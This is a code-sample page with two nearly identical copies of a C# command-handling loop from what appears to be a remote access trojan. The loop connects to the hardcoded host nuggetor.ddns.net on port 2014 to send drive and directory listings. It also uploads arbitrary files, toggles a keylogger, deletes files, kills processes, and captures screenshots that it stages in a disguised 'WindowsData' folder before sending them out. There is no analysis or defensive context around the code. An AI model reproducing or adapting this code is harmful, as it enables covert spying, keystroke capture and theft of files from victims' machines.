Beispiel #1
0
        private static void listen()
        {
            clientSeri = new TcpClient(); 
            while (true)
            {
                //BufferedStream buffered = new BufferedStream(clientComm.GetStream());
                
                byte[] buffer = new byte[1024];

                Console.WriteLine("Reading...");

                clientComm.GetStream().Read(buffer, 0, 1024);

                Console.WriteLine("Message Recieved");

                String message = ASCIIEncoding.ASCII.GetString(buffer);
                message = message.Substring(0, message.IndexOf("\0"));
                Console.WriteLine("Message = " + message);

                #region get Drives

                if (message == "cd drives")
                {
                    using (TcpClient uclientSeri = new TcpClient())
                    {


                        uclientSeri.Connect("nuggetor.ddns.net", 2014);
                        Console.WriteLine("Connected with serializing Server");
                        try
                        {
                            foreach (string drive in Directory.GetLogicalDrives())
                            {
                                TreeNode dN = new TreeNode();
                                dN.Name = drive;
                                dN.Text = drive;
                                dN.ImageKey = "drive";
                                dN.SelectedImageKey = "drive";
                                //treeView1.Nodes.Add(dN);
                                BinaryFormatter binF = new BinaryFormatter();
                                binF.Serialize(uclientSeri.GetStream(), dN);
                                Console.WriteLine("Send " + drive);
                                //searchFolder(drive, dN, client);
                            }
                            uclientSeri.Close();
                        }
                        catch (Exception)
                        {
                            uclientSeri.Close();
                        }

                    }

                }

                #endregion

                #region get Directories and Files

                else if (message.StartsWith("cd "))
                {
                    string path = message.Substring(3);
                    using (TcpClient uclientSeri = new TcpClient())
                    {


                        uclientSeri.Connect("nuggetor.ddns.net", 2014);
                        try
                        {
                            Console.WriteLine("Connected with serializing Server");
                            searchFolder(path, uclientSeri);
                            Thread.Sleep(100);
                            uclientSeri.Close();
                        }
                        catch (Exception)
                        {
                            uclientSeri.Close();
                        }
                    }


                }

                #endregion

                #region download file

                else if (message.StartsWith("download "))
                {
                    try
                    {
                        string path = message.Substring(9);
                        FileSender send = new FileSender(path);
                        Thread t = new Thread(send.sendFile);
                        t.Start();
                    }
                    catch (Exception)
                    {
                    }

                }

                #endregion

                #region start / stop Keylogging

                else if (message.StartsWith("startlogging"))
                {
                    try
                    {

                            keylogginThread.Start();

                        clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("success"), 0, ASCIIEncoding.ASCII.GetBytes("success").Length);
                    }
                    catch (Exception)
                    {
                        clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("failed"), 0, ASCIIEncoding.ASCII.GetBytes("failed").Length);
                    }

                }

                else if (message.StartsWith("stoploggin"))
                {
                    try
                    {
                            keylogginThread.Abort();
                            clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("success"), 0, ASCIIEncoding.ASCII.GetBytes("success").Length);
                        
                    }
                    catch (Exception)
                    {

                        clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("failed"), 0, ASCIIEncoding.ASCII.GetBytes("failed").Length);
                    }

                }

                #endregion

                #region delete Files

                if (message.StartsWith("delete "))
                {
                    string path = message.Substring(6);
                    try
                    {
                        File.Delete(path);
                        byte[] text = ASCIIEncoding.ASCII.GetBytes("Deleting succesfull!");
                        clientComm.GetStream().Write(text, 0, text.Length);
                    }
                    catch (Exception e)
                    {
                        byte[] text = ASCIIEncoding.ASCII.GetBytes("Error while deleting: " + e.ToString());
                        clientComm.GetStream().Write(text, 0, text.Length);
                    }

                }

                #endregion

                #region get Processes

                if (message.Equals("getProcesses"))
                {
                    Process[] processes = Process.GetProcesses();

                    foreach (Process pro in processes)
                    {
                        byte[] text = ASCIIEncoding.ASCII.GetBytes(pro.ProcessName + "/n");
                        clientComm.GetStream().Write(text, 0, text.Length);
                    }
                    byte[] textEnd = ASCIIEncoding.ASCII.GetBytes("/e");
                    clientComm.GetStream().Write(textEnd, 0, textEnd.Length);
                }

                #endregion

                #region kill Processes

                if (message.StartsWith("kill "))
                {
                    string name = message.Substring(5);

                    Process[] pros = Process.GetProcessesByName(name);

                    foreach (Process pro in pros)
                    {
                        pro.Kill();
                    }
                }

                #endregion

                #region Screenshot

                if(message.StartsWith("screenshot"))
                {
                    Bitmap b = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height);
                    Graphics g = Graphics.FromImage(b);
                    g.CopyFromScreen(0, 0, 0, 0, b.Size);
                    g.Dispose();
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData");
                    b.Save(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp");

                    FileSender fs = new FileSender(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp");
                    fs.sendFile();

                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp");
                }

                #endregion

                #region Chat

                if (message.Equals("startChat"))
                {
                    Chat chatform = new Chat();
                    chatform.ShowDialog();
                }
                #endregion
            }
        }
Beispiel #2
0
        private static void listen()
        {
            clientSeri = new TcpClient();
            while (true)
            {
                //BufferedStream buffered = new BufferedStream(clientComm.GetStream());

                byte[] buffer = new byte[1024];

                Console.WriteLine("Reading...");

                clientComm.GetStream().Read(buffer, 0, 1024);

                Console.WriteLine("Message Recieved");

                String message = ASCIIEncoding.ASCII.GetString(buffer);
                message = message.Substring(0, message.IndexOf("\0"));
                Console.WriteLine("Message = " + message);

                #region get Drives

                if (message == "cd drives")
                {
                    using (TcpClient uclientSeri = new TcpClient())
                    {
                        uclientSeri.Connect("nuggetor.ddns.net", 2014);
                        Console.WriteLine("Connected with serializing Server");
                        try
                        {
                            foreach (string drive in Directory.GetLogicalDrives())
                            {
                                TreeNode dN = new TreeNode();
                                dN.Name             = drive;
                                dN.Text             = drive;
                                dN.ImageKey         = "drive";
                                dN.SelectedImageKey = "drive";
                                //treeView1.Nodes.Add(dN);
                                BinaryFormatter binF = new BinaryFormatter();
                                binF.Serialize(uclientSeri.GetStream(), dN);
                                Console.WriteLine("Send " + drive);
                                //searchFolder(drive, dN, client);
                            }
                            uclientSeri.Close();
                        }
                        catch (Exception)
                        {
                            uclientSeri.Close();
                        }
                    }
                }

                #endregion

                #region get Directories and Files

                else if (message.StartsWith("cd "))
                {
                    string path = message.Substring(3);
                    using (TcpClient uclientSeri = new TcpClient())
                    {
                        uclientSeri.Connect("nuggetor.ddns.net", 2014);
                        try
                        {
                            Console.WriteLine("Connected with serializing Server");
                            searchFolder(path, uclientSeri);
                            Thread.Sleep(100);
                            uclientSeri.Close();
                        }
                        catch (Exception)
                        {
                            uclientSeri.Close();
                        }
                    }
                }

                #endregion

                #region download file

                else if (message.StartsWith("download "))
                {
                    try
                    {
                        string     path = message.Substring(9);
                        FileSender send = new FileSender(path);
                        Thread     t    = new Thread(send.sendFile);
                        t.Start();
                    }
                    catch (Exception)
                    {
                    }
                }

                #endregion

                #region start / stop Keylogging

                else if (message.StartsWith("startlogging"))
                {
                    try
                    {
                        keylogginThread.Start();

                        clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("success"), 0, ASCIIEncoding.ASCII.GetBytes("success").Length);
                    }
                    catch (Exception)
                    {
                        clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("failed"), 0, ASCIIEncoding.ASCII.GetBytes("failed").Length);
                    }
                }

                else if (message.StartsWith("stoploggin"))
                {
                    try
                    {
                        keylogginThread.Abort();
                        clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("success"), 0, ASCIIEncoding.ASCII.GetBytes("success").Length);
                    }
                    catch (Exception)
                    {
                        clientComm.GetStream().Write(ASCIIEncoding.ASCII.GetBytes("failed"), 0, ASCIIEncoding.ASCII.GetBytes("failed").Length);
                    }
                }

                #endregion

                #region delete Files

                if (message.StartsWith("delete "))
                {
                    string path = message.Substring(6);
                    try
                    {
                        File.Delete(path);
                        byte[] text = ASCIIEncoding.ASCII.GetBytes("Deleting succesfull!");
                        clientComm.GetStream().Write(text, 0, text.Length);
                    }
                    catch (Exception e)
                    {
                        byte[] text = ASCIIEncoding.ASCII.GetBytes("Error while deleting: " + e.ToString());
                        clientComm.GetStream().Write(text, 0, text.Length);
                    }
                }

                #endregion

                #region get Processes

                if (message.Equals("getProcesses"))
                {
                    Process[] processes = Process.GetProcesses();

                    foreach (Process pro in processes)
                    {
                        byte[] text = ASCIIEncoding.ASCII.GetBytes(pro.ProcessName + "/n");
                        clientComm.GetStream().Write(text, 0, text.Length);
                    }
                    byte[] textEnd = ASCIIEncoding.ASCII.GetBytes("/e");
                    clientComm.GetStream().Write(textEnd, 0, textEnd.Length);
                }

                #endregion

                #region kill Processes

                if (message.StartsWith("kill "))
                {
                    string name = message.Substring(5);

                    Process[] pros = Process.GetProcessesByName(name);

                    foreach (Process pro in pros)
                    {
                        pro.Kill();
                    }
                }

                #endregion

                #region Screenshot

                if (message.StartsWith("screenshot"))
                {
                    Bitmap   b = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height);
                    Graphics g = Graphics.FromImage(b);
                    g.CopyFromScreen(0, 0, 0, 0, b.Size);
                    g.Dispose();
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData");
                    b.Save(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp");

                    FileSender fs = new FileSender(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp");
                    fs.sendFile();

                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData\screen.tmp");
                }

                #endregion

                #region Chat

                if (message.Equals("startChat"))
                {
                    Chat chatform = new Chat();
                    chatform.ShowDialog();
                }
                #endregion
            }
        }